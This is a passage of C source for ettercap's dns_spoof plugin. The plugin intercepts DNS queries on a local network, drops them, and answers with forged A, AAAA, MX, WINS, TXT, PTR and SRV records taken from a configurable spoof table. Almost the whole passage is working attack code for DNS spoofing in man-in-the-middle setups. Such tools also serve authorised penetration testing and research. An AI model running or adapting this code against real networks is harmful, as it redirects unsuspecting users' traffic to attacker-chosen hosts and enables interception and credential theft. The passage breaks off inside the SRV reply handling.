1 /*
2 dns_spoof -- ettercap plugin -- spoofs dns reply
3
4 Copyright (C) ALoR & NaGA
5
6 This program is free software; you can redistribute it and/or modify
7 it under the terms of the GNU General Public License as published by
8 the Free Software Foundation; either version 2 of the License, or
9 (at your option) any later version.
10
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 GNU General Public License for more details.
15
16 You should have received a copy of the GNU General Public License
17 along with this program; if not, write to the Free Software
18 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19
20 */
21
22 #include <ec.h> /* required for global variables */
23 #include <ec_plugins.h> /* required for plugin ops */
24 #include <ec_file.h>
25 #include <ec_hook.h>
26 #include <ec_resolv.h>
27 #include <ec_send.h>
28
29 #include <stdlib.h>
30 #include <string.h>
31
32 #ifndef ns_t_wins
33 #define ns_t_wins 0xFF01 /* WINS name lookup */
34 #endif
35
36 /* Maximum DNS TTL according to RFC 2181 = 2^31 - 1*/
37 #define MAX_DNS_TTL INT_MAX
38
39 /* globals */
40
41 struct dns_header {
42 u_int16 id; /* DNS packet ID */
43 #ifdef WORDS_BIGENDIAN
44 u_char qr: 1; /* response flag */
45 u_char opcode: 4; /* purpose of message */
46 u_char aa: 1; /* authoritative answer */
47 u_char tc: 1; /* truncated message */
48 u_char rd: 1; /* recursion desired */
49 u_char ra: 1; /* recursion available */
50 u_char unused: 1; /* unused bits */
51 u_char ad: 1; /* authentic data from named */
52 u_char cd: 1; /* checking disabled by resolver */
53 u_char rcode: 4; /* response code */
54 #else /* WORDS_LITTLEENDIAN */
55 u_char rd: 1; /* recursion desired */
56 u_char tc: 1; /* truncated message */
57 u_char aa: 1; /* authoritative answer */
58 u_char opcode: 4; /* purpose of message */
59 u_char qr: 1; /* response flag */
60 u_char rcode: 4; /* response code */
61 u_char cd: 1; /* checking disabled by resolver */
62 u_char ad: 1; /* authentic data from named */
63 u_char unused: 1; /* unused bits */
64 u_char ra: 1; /* recursion available */
65 #endif
66 u_int16 num_q; /* Number of questions */
67 u_int16 num_answer; /* Number of answer resource records */
68 u_int16 num_auth; /* Number of authority resource records */
69 u_int16 num_res; /* Number of additional resource records */
70 };
71
72 struct dns_spoof_entry {
73 int type; /* ns_t_a, ns_t_mx, ns_t_ptr, ns_t_wins */
74 u_int32 ttl; /* 0 - 2^31-1 seconds */
75 char *name;
76 struct ip_addr ip;
77 u_int16 port;
78 char *text;
79 SLIST_ENTRY(dns_spoof_entry) next;
80 };
81
82 struct rr_entry {
83 u_char *data;
84 int size;
85 SLIST_ENTRY(rr_entry) next;
86 };
87
88 static SLIST_HEAD(, dns_spoof_entry) dns_spoof_head;
89 static SLIST_HEAD(, rr_entry) answer_list;
90 static SLIST_HEAD(, rr_entry) authority_list;
91 static SLIST_HEAD(, rr_entry) additional_list;
92
93 /* protos */
94
95 int plugin_load(void *);
96 static int dns_spoof_init(void *);
97 static int dns_spoof_fini(void *);
98 static int load_db(void);
99 static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p, u_int32 *ttl_p);
100 static void dns_spoof(struct packet_object *po);
101 static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_len, int *n_answ, int *n_auth, int *n_addi);
102 static int get_spoofed_a(const char *a, struct ip_addr **ip, u_int32 *ttl);
103 static int get_spoofed_aaaa(const char *a, struct ip_addr **ip, u_int32 *ttl);
104 static int get_spoofed_txt(const char *name, char **txt, u_int32 *ttl);
105 static int get_spoofed_ptr(const char *arpa, char **a, u_int32 *ttl);
106 static int get_spoofed_mx(const char *a, struct ip_addr **ip, u_int32 *ttl);
107 static int get_spoofed_wins(const char *a, struct ip_addr **ip, u_int32 *ttl);
108 static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port, u_int32 *ttl);
109 char *type_str(int type);
110 static void dns_spoof_dump(void);
111
112 /* plugin operations */
113
114 struct plugin_ops dns_spoof_ops = {
115 /* ettercap version MUST be the global EC_VERSION */
116 .ettercap_version = EC_VERSION,
117 /* the name of the plugin */
118 .name = "dns_spoof",
119 /* a short description of the plugin (max 50 chars) */
120 .info = "Sends spoofed dns replies",
121 /* the plugin version. */
122 .version = "1.3",
123 /* activation function */
124 .init = &dns_spoof_init,
125 /* deactivation function */
126 .fini = &dns_spoof_fini,
127 };
128
129 /**********************************************************/
130
131 /* this function is called on plugin load */
plugin_load(void * handle)132 int plugin_load(void *handle)
133 {
134 /* load the database of spoofed replies (etter.dns)
135 * return an error if we could not open the file
136 */
137 if (load_db() != E_SUCCESS)
138 return -E_INVALID;
139
140 dns_spoof_dump();
141 return plugin_register(handle, &dns_spoof_ops);
142 }
143
144 /*********************************************************/
145
dns_spoof_init(void * dummy)146 static int dns_spoof_init(void *dummy)
147 {
148 /* variable not used */
149 (void) dummy;
150
151 /*
152 * add the hook in the dissector.
153 * this will pass only valid dns packets
154 */
155 hook_add(HOOK_PROTO_DNS, &dns_spoof);
156
157 return PLUGIN_RUNNING;
158 }
159
160
dns_spoof_fini(void * dummy)161 static int dns_spoof_fini(void *dummy)
162 {
163 struct dns_spoof_entry *d;
164
165 /* variable not used */
166 (void) dummy;
167
168 /* remove the hook */
169 hook_del(HOOK_PROTO_DNS, &dns_spoof);
170
171 /* Free dynamically allocated memory */
172 while (!SLIST_EMPTY(&dns_spoof_head)) {
173 d = SLIST_FIRST(&dns_spoof_head);
174 SLIST_REMOVE_HEAD(&dns_spoof_head, next);
175 SAFE_FREE(d->name);
176 SAFE_FREE(d->text);
177 SAFE_FREE(d);
178 }
179
180
181 return PLUGIN_FINISHED;
182 }
183
184
185 /*
186 * load the database in the list
187 */
load_db(void)188 static int load_db(void)
189 {
190 struct dns_spoof_entry *d;
191 FILE *f;
192 char line[100+255+10+1];
193 char *ptr, *ip, *name;
194 u_int32 ttl;
195 int lines = 0, type;
196 u_int16 port = 0;
197
198 /* open the file */
199 f = open_data("etc", ETTER_DNS, FOPEN_READ_TEXT);
200 if (f == NULL) {
201 USER_MSG("dns_spoof: Cannot open %s\n", ETTER_DNS);
202 return -E_INVALID;
203 }
204
205 /* load it in the list */
206 while (fgets(line, 100+255+10+1, f)) {
207 /* count the lines */
208 lines++;
209
210 /* trim comments */
211 if ( (ptr = strchr(line, '#')) )
212 *ptr = '\0';
213
214 /* skip empty lines */
215 if (!*line || *line == '\r' || *line == '\n')
216 continue;
217
218 /* strip apart the line */
219 if (!parse_line(line, lines, &type, &ip, &port, &name, &ttl))
220 continue;
221
222 /* create the entry */
223 SAFE_CALLOC(d, 1, sizeof(struct dns_spoof_entry));
224 d->name = strdup(name);
225 if (d->name == NULL) {
226 USER_MSG("dns_spoof: Unable to allocate memory for d->name\n");
227 return -E_INVALID;
228 }
229 d->type = type;
230 d->port = port;
231 d->text = NULL;
232 d->ttl = ttl;
233
234 /* convert the ip address */
235 if (type == ns_t_txt) {
236 /* Nothing to convert for TXT - just copy the string */
237 d->text = strndup(ip, 255);
238 if (d->text == NULL) {
239 USER_MSG("dns_spoof: Unable to allocate memory for d->text\n");
240 free(d->name);
241 free(d);
242 return -E_INVALID;
243 }
244 }
245 else if (ip_addr_pton(ip, &d->ip) != E_SUCCESS) {
246 /* neither IPv4 nor IPv6 - throw a message and skip line */
247 USER_MSG("dns_spoof: %s:%d Invalid IPv4 or IPv6 address\n", ETTER_DNS, lines);
248 SAFE_FREE(d);
249 continue;
250 }
251
252 /* insert in the list */
253 SLIST_INSERT_HEAD(&dns_spoof_head, d, next);
254 }
255
256 fclose(f);
257
258 return E_SUCCESS;
259 }
260
261 /*
262 * Parse line on format "<name> <type> <IP-addr> <ttl>".
263 */
parse_line(const char * str,int line,int * type_p,char ** ip_p,u_int16 * port_p,char ** name_p,u_int32 * ttl_p)264 static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p, u_int32 *ttl_p)
265 {
266 static char name[100+1];
267 static char ip[MAX_ASCII_ADDR_LEN];
268 static u_int16 port;
269 static u_int32 ttl;
270 char type[10+1];
271
272 DEBUG_MSG("%s:%d str '%s'", ETTER_DNS, line, str);
273
274 /* Set default TTL of 1 hour if not specified */
275 ttl = 3600;
276
277 /* TTL is optional therefore only require 3 options here */
278 if (sscanf(str,"%100s %10s %40[^\r\n# ] %u", name, type, ip, &ttl) < 3) {
279 USER_MSG("dns_spoof: %s:%d Invalid entry '%s'\n", ETTER_DNS, line, str);
280 return (0);
281 }
282
283 /* keep TTL within DNS standard limits (2^31 - 1) - see RFC 2181 */
284 if (ttl > MAX_DNS_TTL) ttl = 3600;
285
286 *ttl_p = ttl;
287
288 if (!strcasecmp(type,"PTR")) {
289 if (strpbrk(name,"*?[]")) {
290 USER_MSG("dns_spoof: %s:%d Wildcards in PTR records are not allowed; %s\n",
291 ETTER_DNS, line, str);
292 return (0);
293 }
294 *type_p = ns_t_ptr;
295 *name_p = name;
296 *ip_p = ip;
297 return (1);
298 }
299
300 if (!strcasecmp(type,"A")) {
301 *type_p = ns_t_a;
302 *name_p = name;
303 *ip_p = ip;
304 return (1);
305 }
306
307 if (!strcasecmp(type,"AAAA")) {
308 *type_p = ns_t_aaaa;
309 *name_p = name;
310 *ip_p = ip;
311 return (1);
312 }
313
314 if (!strcasecmp(type,"MX")) {
315 *type_p = ns_t_mx;
316 *name_p = name;
317 *ip_p = ip;
318 return (1);
319 }
320
321 if (!strcasecmp(type,"WINS")) {
322 *type_p = ns_t_wins;
323 *name_p = name;
324 *ip_p = ip;
325 return (1);
326 }
327
328 if (!strcasecmp(type, "TXT")) {
329 char txt[256];
330
331 /* rescan line as spaces are supported in TXT records */
332 if (sscanf(str,"%100s %10s \"%255[^\r\n#\"]\" %u", name, type, txt, &ttl) < 3) {
333 USER_MSG("dns_spoof: %s:%d Invalid entry %s\n", ETTER_DNS, line, str);
334 return 0;
335 }
336
337 if (ttl > MAX_DNS_TTL) ttl = 3600; /* keep TTL within DNS standard limits (2^31 - 1) - see RFC 2181 */
338
339 *type_p = ns_t_txt;
340 *name_p = name;
341 *ip_p = txt;
342 *ttl_p = ttl;
343 return (1);
344 }
345
346 if (!strcasecmp(type, "SRV")) {
347 /*
348 * SRV records have different syntax
349 */
350 static char ip_tmp[MAX_ASCII_ADDR_LEN];
351 if (ec_strsplit_ipport(ip, ip_tmp, &port)) {
352 USER_MSG("dns_spoof: %s:%d Unknown syntax for SRV record; %s\n",
353 ETTER_DNS, line, str);
354 return (0);
355 }
356
357 *type_p = ns_t_srv;
358 *name_p = name;
359 *ip_p = ip_tmp;
360 *port_p = port;
361 return (1);
362 }
363
364 USER_MSG("dns_spoof: %s:%d Unknown record type %s\n", ETTER_DNS, line, type);
365 return (0);
366 }
367
368 /*
369 * parse the packet and send the fake reply
370 */
dns_spoof(struct packet_object * po)371 static void dns_spoof(struct packet_object *po)
372 {
373 struct dns_header *dns;
374 struct rr_entry *rr;
375 struct iface_env *iface;
376 u_char *data, *end, *dns_reply;
377 char name[NS_MAXDNAME];
378 int name_len, dns_len, dns_off, n_answ, n_auth, n_addi;
379 u_char *q;
380 int16 class;
381 u_int16 type;
382
383 dns = (struct dns_header *)po->DATA.data;
384 data = (u_char *)(dns + 1);
385 end = (u_char *)dns + po->DATA.len;
386
387 n_answ = 0;
388 n_auth = 0;
389 n_addi = 0;
390
391 /* extract the name from the packet */
392 name_len = dn_expand((u_char *)dns, end, data, name, sizeof(name));
393
394 /* move pointer behind the domain name */
395 q = data + name_len;
396
397 /* get the type and class */
398 NS_GET16(type, q);
399 NS_GET16(class, q);
400
401 /* set initial dns reply length to the length of the question */
402 dns_len = q - data;
403
404
405 /* handle only internet class */
406 if (class != ns_c_in)
407 return;
408
409 /* we are interested only in DNS query */
410 if ( (!dns->qr) && dns->opcode == ns_o_query && htons(dns->num_q) == 1 && htons(dns->num_answer) == 0) {
411
412 /*
413 * If we are interested in this DNS query this function returns E_SUCCESS.
414 * The DNS reply data is stored in one or more of the single linked lists
415 * 1. answer_list
416 * 2. authority_list
417 * 3. additional_list.
418 * Below, the lists have to be processes in this order and concatenated to the
419 * query in memory.
420 */
421 if (prepare_dns_reply(data, name, type, &dns_len,
422 &n_answ, &n_auth, &n_addi) != E_SUCCESS)
423 return;
424
425 /*
426 * do nothing if we haven't prepared anything
427 * this can happen with ANY queries
428 */
429 if (dns_len <= q - data)
430 return;
431
432 /* Do not forward query */
433 po->flags |= PO_DROPPED;
434
435 /* set incoming interface as outgoing interface for reply */
436 iface = po->flags & PO_FROMIFACE ? EC_GBL_IFACE : EC_GBL_BRIDGE;
437
438 /* allocate memory for the dns reply */
439 SAFE_CALLOC(dns_reply, dns_len, sizeof(u_int8));
440
441 /*
442 * fill the buffer with the content of the request
443 * we will append the answer just behind the request
444 */
445 memcpy(dns_reply, data, q - data);
446 dns_off = q - data;
447
448 /* collect answers and free list items in one go */
449 while (!SLIST_EMPTY(&answer_list)) {
450 rr = SLIST_FIRST(&answer_list);
451 /* make sure not to exceed allocated memory */
452 if (dns_off + rr->size <= dns_len) {
453 /* serialize data */
454 memcpy(dns_reply + dns_off, rr->data, rr->size);
455 dns_off += rr->size;
456 }
457 /* data not needed any longer - free it */
458 SLIST_REMOVE_HEAD(&answer_list, next);
459 SAFE_FREE(rr->data);
460 SAFE_FREE(rr);
461 }
462
463 /* collect authority and free list items in one go */
464 while (!SLIST_EMPTY(&authority_list)) {
465 rr = SLIST_FIRST(&authority_list);
466 /* make sure not to exceed allocated memory */
467 if (dns_off + rr->size <= dns_len) {
468 /* serialize data */
469 memcpy(dns_reply + dns_off, rr->data, rr->size);
470 dns_off += rr->size;
471 }
472 /* data not needed any longer - free it */
473 SLIST_REMOVE_HEAD(&authority_list, next);
474 SAFE_FREE(rr->data);
475 SAFE_FREE(rr);
476 }
477
478 /* collect additional and free list items in one go */
479 while (!SLIST_EMPTY(&additional_list)) {
480 rr = SLIST_FIRST(&additional_list);
481 /* make sure not to exceed allocated memory */
482 if (dns_off + rr->size <= dns_len) {
483 /* serialize data */
484 memcpy(dns_reply + dns_off, rr->data, rr->size);
485 dns_off += rr->size;
486 }
487 /* data not needed any longer - free it */
488 SLIST_REMOVE_HEAD(&additional_list, next);
489 SAFE_FREE(rr->data);
490 SAFE_FREE(rr);
491 }
492
493 /* send the reply */
494 send_dns_reply(iface, po->L4.src, &po->L3.dst, &po->L3.src, po->L2.src,
495 ntohs(dns->id), dns_reply, dns_len, n_answ, n_auth, n_addi);
496
497 /* spoofed DNS reply sent - free memory */
498 SAFE_FREE(dns_reply);
499
500 }
501
502
503 }
504
505 /*
506 * checks if a spoof entry extists for the name and type
507 * the answer is prepared and stored in the global lists
508 * - answer_list
509 * - authority_list
510 * - additional_list
511 */
prepare_dns_reply(u_char * data,const char * name,int type,int * dns_len,int * n_answ,int * n_auth,int * n_addi)512 static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_len,
513 int *n_answ, int *n_auth, int *n_addi)
514 {
515 struct ip_addr *reply;
516 struct rr_entry *rr;
517 bool is_negative;
518 int len;
519 u_int32 ttl, dns_ttl;
520 u_char *answer, *p;
521 char tmp[MAX_ASCII_ADDR_LEN];
522
523 /* set TTL to 1 hour by default or in case something goes wrong */
524 ttl = 3600;
525 dns_ttl = htonl(ttl); /* reorder bytes for network stuff */
526
527 /* by default we want to spoof actual data */
528 is_negative = false;
529
530 /* it is and address resolution (name to ip) */
531 if (type == ns_t_a || type == ns_t_any) {
532
533 /* found the reply in the list */
534 if (get_spoofed_a(name, &reply, &ttl) != E_SUCCESS) {
535 /* in case of ANY we have to proceed with the next section */
536 if (type == ns_t_any)
537 goto any_aaaa;
538 else
539 return -E_NOTFOUND;
540 }
541
542 /* check if the family matches the record type */
543 if (ntohs(reply->addr_type) != AF_INET) {
544 USER_MSG("dns_spoof: can not spoof A record for %s "
545 "because the value is not a IPv4 address\n", name);
546 return -E_INVALID;
547 }
548
549 /*
550 * When spoofed IP address is undefined address, we stop
551 * processing of this section by spoofing a negative-cache reply
552 */
553 if (ip_addr_is_zero(reply)) {
554 /*
555 * we want to answer this requests with a negative-cache reply
556 * instead of spoofing a IP address
557 */
558 is_negative = true;
559
560 } else {
561
562 /* allocate memory for the answer */
563 len = 12 + IP_ADDR_LEN;
564 SAFE_CALLOC(answer, len, sizeof(u_char));
565 p = answer;
566
567 /* convert to network-byte order */
568 dns_ttl = htonl(ttl);
569
570 /* prepare the answer */
571 memcpy(p, "\xc0\x0c", 2); /* compressed name offset */
572 memcpy(p + 2, "\x00\x01", 2); /* type A */
573 memcpy(p + 4, "\x00\x01", 2); /* class */
574 memcpy(p + 6, &dns_ttl, 4); /* TTL */
575 memcpy(p + 10, "\x00\x04", 2); /* datalen */
576 ip_addr_cpy(p + 12, reply); /* data */
577
578 /* insert the answer into the list */
579 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
580 rr->data = answer;
581 rr->size = len;
582 SLIST_INSERT_HEAD(&answer_list, rr, next);
583 *dns_len += len;
584 *n_answ += 1;
585
586 USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
587 type_str(type), name, ip_addr_ntoa(reply, tmp), ttl);
588 }
589 } /* A */
590
591 any_aaaa:
592
593 /* also care about AAAA records */
594 if (type == ns_t_aaaa || type == ns_t_any) {
595
596 /* found the reply in the list */
597 if (get_spoofed_aaaa(name, &reply, &ttl) != E_SUCCESS) {
598 /* in case of ANY we have to proceed with the next section */
599 if (type == ns_t_any)
600 goto any_mx;
601 else
602 return -E_NOTFOUND;
603 }
604
605 /* check if the family matches the record type */
606 if (ntohs(reply->addr_type) != AF_INET6) {
607 USER_MSG("dns_spoof: can not spoof AAAA record for %s "
608 "because the value is not a IPv6 address\n", name);
609 return -E_INVALID;
610 }
611
612 /*
613 * When spoofed IP address is undefined address, we stop
614 * processing of this section by spoofing a negative-cache reply
615 */
616 if (ip_addr_is_zero(reply)) {
617 /*
618 * we want to answer this requests with a negative-cache reply
619 * instead of spoofing a IP address
620 */
621 is_negative = true;
622
623 } else {
624
625 /* allocate memory for the answer */
626 len = 12 + IP6_ADDR_LEN;
627 SAFE_CALLOC(answer, len, sizeof(u_char));
628 p = answer;
629
630 /* convert to network-byte order */
631 dns_ttl = htonl(ttl);
632
633 /* prepare the answer */
634 memcpy(p, "\xc0\x0c", 2); /* compressed name offset */
635 memcpy(p + 2, "\x00\x1c", 2); /* type AAAA */
636 memcpy(p + 4, "\x00\x01", 2); /* class IN */
637 memcpy(p + 6, &dns_ttl, 4); /* TTL */
638 memcpy(p + 10, "\x00\x10", 2); /* datalen */
639 ip_addr_cpy(p + 12, reply); /* data */
640
641 /* insert the answer into the list */
642 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
643 rr->data = answer;
644 rr->size = len;
645 SLIST_INSERT_HEAD(&answer_list, rr, next);
646 *dns_len += len;
647 *n_answ += 1;
648
649 USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
650 type_str(type), name, ip_addr_ntoa(reply, tmp), ttl);
651 }
652 } /* AAAA */
653
654 any_mx:
655
656 /* it is an MX query (mail to ip) */
657 if (type == ns_t_mx || type == ns_t_any) {
658
659 /* found the reply in the list */
660 if (get_spoofed_mx(name, &reply, &ttl) != E_SUCCESS) {
661 /* in case of ANY we have to proceed with the next section */
662 if (type == ns_t_any)
663 goto any_wins;
664 else
665 return -E_NOTFOUND;
666 }
667
668 /* allocate memory for the answer */
669 len = 12 + 2 + 7;
670 SAFE_CALLOC(answer, len, sizeof(u_char));
671 p = answer;
672
673 /* convert to network-byte order */
674 dns_ttl = htonl(ttl);
675
676 /* prepare the answer */
677 memcpy(p, "\xc0\x0c", 2); /* compressed name offset */
678 memcpy(p + 2, "\x00\x0f", 2); /* type MX */
679 memcpy(p + 4, "\x00\x01", 2); /* class */
680 memcpy(p + 6, &dns_ttl, 4); /* TTL */
681 memcpy(p + 10, "\x00\x09", 2); /* datalen */
682 memcpy(p + 12, "\x00\x0a", 2); /* preference (highest) */
683 /*
684 * add "mail." in front of the domain and
685 * resolve it in the additional record
686 * (here `mxoffset' is pointing at)
687 */
688 memcpy(p + 14, "\x04mail\xc0\x0c", 7); /* mx record */
689
690 /* insert the answer into the list */
691 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
692 rr->data = answer;
693 rr->size = len;
694 SLIST_INSERT_HEAD(&answer_list, rr, next);
695 *dns_len += len;
696 *n_answ += 1;
697
698 /* add the additional record for the spoofed IPv4 address*/
699 if (ntohs(reply->addr_type) == AF_INET) {
700
701 /* allocate memory for the additional record */
702 len = 17 + IP_ADDR_LEN;
703 SAFE_CALLOC(answer, len, sizeof(u_char));
704 p = answer;
705
706 /* prepare the additinal record */
707 memcpy(p, "\x04mail\xc0\x0c", 7); /* compressed name offset */
708 memcpy(p + 7, "\x00\x01", 2); /* type A */
709 memcpy(p + 9, "\x00\x01", 2); /* class */
710 memcpy(p + 11, &dns_ttl, 4); /* TTL */
711 memcpy(p + 15, "\x00\x04", 2); /* datalen */
712 ip_addr_cpy(p + 17, reply); /* data */
713 }
714 /* add the additional record for the spoofed IPv6 address*/
715 else if (ntohs(reply->addr_type) == AF_INET6) {
716
717 /* allocate memory for the additional record */
718 len = 17 + IP6_ADDR_LEN;
719 SAFE_CALLOC(answer, len, sizeof(u_char));
720 p = answer;
721
722 /* prepare the additional record */
723 memcpy(p, "\x04mail\xc0\x0c", 7); /* compressed name offset */
724 memcpy(p + 7, "\x00\x1c", 2); /* type AAAA */
725 memcpy(p + 9, "\x00\x01", 2); /* class */
726 memcpy(p + 11, &dns_ttl, 4); /* TTL */
727 memcpy(p + 15, "\x00\x10", 2); /* datalen */
728 ip_addr_cpy(p + 17, reply); /* data */
729 }
730 else {
731 /* IP address not valid - abort */
732 return -E_INVALID;
733 }
734
735 /* insert the answer into the list */
736 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
737 rr->data = answer;
738 rr->size = len;
739 SLIST_INSERT_HEAD(&additional_list, rr, next);
740 *dns_len += len;
741 *n_addi += 1;
742
743 USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
744 type_str(type), name, ip_addr_ntoa(reply, tmp), ttl);
745
746 } /* MX */
747
748 any_wins:
749
750 /* it is an WINS query (NetBIOS-name to ip) */
751 if (type == ns_t_wins || type == ns_t_any) {
752
753 /* found the reply in the list */
754 if (get_spoofed_wins(name, &reply, &ttl) != E_SUCCESS) {
755 /* in case of ANY we have to proceed with the next section */
756 if (type == ns_t_any)
757 goto any_txt;
758 else
759 return -E_NOTFOUND;
760 }
761
762 if (ntohs(reply->addr_type) != AF_INET)
763 /* XXX - didn't find any documentation about this standard
764 * and if type WINS RR only supports IPv4
765 */
766 return -E_INVALID;
767
768 /* allocate memory for the answer */
769 len = 12 + IP_ADDR_LEN;
770 SAFE_CALLOC(answer, len, sizeof(u_char));
771 p = answer;
772
773 /* convert to network-byte order */
774 dns_ttl = htonl(ttl);
775
776 /* prepare the answer */
777 memcpy(p, "\xc0\x0c", 2); /* compressed name offset */
778 memcpy(p + 2, "\xff\x01", 2); /* type WINS */
779 memcpy(p + 4, "\x00\x01", 2); /* class IN */
780 memcpy(p + 6, &dns_ttl, 4); /* TTL */
781 memcpy(p + 10, "\x00\x04", 2); /* datalen */
782 ip_addr_cpy((u_char*)p + 12, reply); /* data */
783
784 /* insert the answer into the list */
785 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
786 rr->data = answer;
787 rr->size = len;
788 SLIST_INSERT_HEAD(&answer_list, rr, next);
789 *dns_len += len;
790 *n_answ += 1;
791
792 USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
793 type_str(type), name, ip_addr_ntoa(reply, tmp), ttl);
794
795 }
796
797 any_txt:
798
799 /* it's a descriptive TXT record */
800 if (type == ns_t_txt || type == ns_t_any) {
801 char *txt;
802 u_int8 txtlen;
803 u_int16 datalen;
804
805 /* found the reply in the list */
806 if (get_spoofed_txt(name, &txt, &ttl) != E_SUCCESS) {
807 /* in case of ANY we have to proceed with the next section */
808 if (type == ns_t_any)
809 goto exit;
810 else
811 return -E_NOTFOUND;
812 }
813
814 txtlen = strlen(txt);
815 datalen = htons(txtlen + 1);
816
817 /* allocate memory for the answer */
818 len = 13 + txtlen;
819 SAFE_CALLOC(answer, len, sizeof(u_char));
820 p = answer;
821
822 /* convert to network-byte order */
823 dns_ttl = htonl(ttl);
824
825 /* prepare the answer */
826 memcpy(p, "\xc0\x0c", 2); /* compressed name offset */
827 memcpy(p + 2, "\x00\x10", 2); /* type TXT */
828 memcpy(p + 4, "\x00\x01", 2); /* class IN */
829 memcpy(p + 6, &dns_ttl, 4); /* TTL */
830 memcpy(p + 10, &datalen, 2); /* data len */
831 memcpy(p + 12, &txtlen, 1); /* TXT len */
832 memcpy(p + 13, txt, txtlen); /* string */
833
834 /* insert the answer into the list */
835 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
836 rr->data = answer;
837 rr->size = len;
838 SLIST_INSERT_HEAD(&answer_list, rr, next);
839 *dns_len += len;
840 *n_answ += 1;
841
842 USER_MSG("dns_spoof: %s [%s] spoofed to \"%s\" TTL [%u s]\n",
843 type_str(type), name, txt, ttl);
844 } /* TXT */
845
846 /* it is a reverse query (ip to name) */
847 if (type == ns_t_ptr) {
848
849 u_char *answer, *p;
850 char *a;
851 u_char buf[256];
852 int rlen;
853
854 /* found the reply in the list */
855 if (get_spoofed_ptr(name, &a, &ttl) != E_SUCCESS)
856 return -E_NOTFOUND;
857
858 /* compress the string into the buffer */
859 rlen = dn_comp(a, buf, 256, NULL, NULL);
860
861 /* allocate memory for the answer */
862 len = 12 + rlen;
863 SAFE_CALLOC(answer, len, sizeof(u_char));
864 p = answer;
865
866 /* convert to network-byte order */
867 dns_ttl = htonl(ttl);
868
869 /* prepare the answer */
870 memcpy(p, "\xc0\x0c", 2); /* compressed name offset */
871 memcpy(p + 2, "\x00\x0c", 2); /* type PTR */
872 memcpy(p + 4, "\x00\x01", 2); /* class */
873 memcpy(p + 6, &dns_ttl, 4); /* TTL */
874 /* put the length before the dn_comp'd string */
875 p += 10;
876 NS_PUT16(rlen, p);
877 p -= 12;
878 memcpy(p + 12, buf, rlen);
879
880 /* insert the answer into the list */
881 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
882 rr->data = answer;
883 rr->size = len;
884 SLIST_INSERT_HEAD(&answer_list, rr, next);
885 *dns_len += len;
886 *n_answ += 1;
887
888 USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
889 type_str(type), name, a, ttl);
890
891 } /* PTR */
892
893 /* it is a SRV query (service discovery) */
894 if (type == ns_t_srv) {
895
896 char tgtoffset[2];
897 u_int16 port;
898 int dn_offset = 0;
899
900
901 /* found the reply in the list */
902 if (get_spoofed_srv(name, &reply, &port, &ttl) != E_SUCCESS)
903 return -E_NOTFOUND;
904
905 /* allocate memory for the answer */
906 len = 24;
907 SAFE_CALLOC(answer, len, sizeof(u_char));
908 p = answer;
909
910 /*
911 * to refer the target to a proper domain name, we have to strip the
912 * service and protocol label from the questioned domain name
913 */
914 dn_offset += *(data+dn_offset) + 1; /* first label (e.g. _ldap)*/
915 dn_offset += *(data+dn_offset) + 1; /* second label (e.g. _tcp) */
916
917 /* avoid offset overrun */
918 if (dn_offset + 12 > 255) {
919 dn_offset = 0;
920 }
921
922 tgtoffset[0] = 0xc0; /* offset byte */
923 tgtoffset[1] = 12 + dn_offset; /* offset to the actual domain name */
924
925 /* convert to network-byte order */
926 dns_ttl = htonl(ttl);
927
928 /* prepare the answer */
929 memcpy(p, "\xc0\x0c", 2); /* compressed name offset */
930 memcpy(p + 2, "\x00\x21", 2); /* type SRV */
931 memcpy(p + 4, "\x00\x01", 2); /* class IN */
932 memcpy(p + 6, &dns_ttl, 4); /* TTL */
933 memcpy(p + 10, "\x00\x0c", 2); /* data length */
934 memcpy(p + 12, "\x00\x00", 2); /* priority */
935 memcpy(p + 14, "\x00\x00", 2); /* weight */
936 p+=16;
937 NS_PUT16(port, p); /* port */
938 p-=18;
939 /*
940 * add "srv." in front of the stripped domain
941 * name and resolve it in the additional
942 * record (here `srvoffset' is pointing at)
943 */
944 memcpy(p + 18, "\x03srv", 4); /* target */
945 memcpy(p + 22, tgtoffset, 2); /* compressed name offset */
946
947 /* insert the answer into the list */
948 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
949 rr->data = answer;
950 rr->size = len;
951 SLIST_INSERT_HEAD(&answer_list, rr, next);
952 *dns_len += len;
953 *n_answ += 1;
954
955 /* add the additional record for the spoofed IPv4 address */
956 if (ntohs(reply->addr_type) == AF_INET) {
957
958 /* allocate memory for the additional record */
959 len = 16 + IP_ADDR_LEN;
960 SAFE_CALLOC(answer, len, sizeof(u_char));
961 p = answer;
962
963 /* prepare the additional record */
964 memcpy(p, "\x03srv", 4); /* target */
965 memcpy(p + 4, tgtoffset, 2); /* compressed name offset */
966 memcpy(p + 6, "\x00\x01", 2); /* type A */
967 memcpy(p + 8, "\x00\x01", 2); /* class */
968 memcpy(p + 10, &dns_ttl, 4); /* TTL */
969 memcpy(p + 14, "\x00\x04", 2); /* datalen */
970 ip_addr_cpy(p + 16, reply); /* data */
971 }
972 /* add the additional record for the spoofed IPv6 address*/
973 else if (ntohs(reply->addr_type) == AF_INET6) {
974
975 /* allocate memory for the additional record */
976 len = 16 + IP6_ADDR_LEN;
977 SAFE_CALLOC(answer, len, sizeof(u_char));
978 p = answer;
979
980 memcpy(p, "\x03srv", 4); /* target */
981 memcpy(p + 4, tgtoffset, 2); /* compressed name offset */
